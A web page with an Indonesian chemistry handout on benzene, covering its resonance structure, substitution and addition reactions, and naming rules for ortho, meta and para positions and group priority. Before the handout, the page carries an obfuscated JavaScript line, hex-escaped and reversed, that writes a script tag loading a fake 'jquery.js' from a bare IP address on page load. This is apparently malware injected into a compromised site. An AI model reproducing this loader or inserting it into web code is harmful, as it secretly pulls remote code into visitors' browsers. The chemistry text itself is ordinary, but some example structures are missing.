var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Handout – Pembelajaran Kimia Berbasis TIK

Handout

Materi Benzena

  • Konsep
  • Benzena merupakan suatu senyawa hidrokarbon dengan rumus molekul C6H6 dan strukturnya merupakan rantai lingkar (siklis) dengan ikatan rangkap selang-seling. Kedudukan ikatan rangkap pada senyawa karbon ini dapat berpindah-pindah posisi. Peristiwa ini disebut resonansi ikatan rangkap.
  • Reaksi subsitusi benzene
    1. Nitrasi
    2. Sulfonasi
    3. Halogenasi
    4. Alkasi
  • Reaksi adisi pada benzene
    1. Adisi hydrogen
    2. Adisi halogen
  • Tata nama senyawa benzena
  • Molekul benzena yang kehilangan sebuah atom hidrogen (C6H5−) disebut gugus fenil sehingga penamaannya dimulai dengan nama fenil diikuti gugus yang diikat.

Contoh:

  • Penamaan dapat juga menggunakan nama gugus, diikuti dengan benzena.

Contoh:

  • Jika gugus yang terikat lebih dari satu, maka diberi nomor. Penomoran diusahakan sedemikian hingga gugus yang terikat bernomor kecil.
  • Posisi nomor atom karbon pada benzena diberi nama khusus, yaitu:
    1. Posisi ortho (o) untuk gugus yang terletak pada nomor 1 dan 2.
    2. Posisi meta (m) untuk gugus yang terletak pada nomor 1 dan 3.
    3. Posisi para (p)untuk gugus yang terletak pada nomor 1 dan 4.

Contoh:

 

orto-dibromobenzena      meta-bromonitrobenzena           para-dimetilbenzena

(o-dibromobenzena)         (m-bromonitrobenzena)            (p-dimetilbenzena)

  • Beberapa senyawa turunan benzena mempunyai nama khusus, tergantung gugus yang diikatnya.
  • Jika terdapat dua gugus yang berbeda, maka salah satu gugus dianggap sebagai senyawa utama dan gugus yang lain dianggap sebagai gugus cabang (gugus yang diikat). Gugus yang menjadi senyawa utama didasarkan pada urutan prioritas.
  • Urutan prioritas gugus utama adalah sebagai berikut:

−COOH, −SO3H, −CHO, −CN, −OH, −NH2, −R, −NO2, −X

Prioritas dari yang paling tinggi ke paling rendah

Contoh:

  • Beberapa senyawa turunan benzena mempunyai nama trivial yang sering digunakan, misalnya senyawa benzena yang mengikat gugus hidroksi dan metil disebut kresoldan benzena yang mengikat dua gugus metil disebut xilena.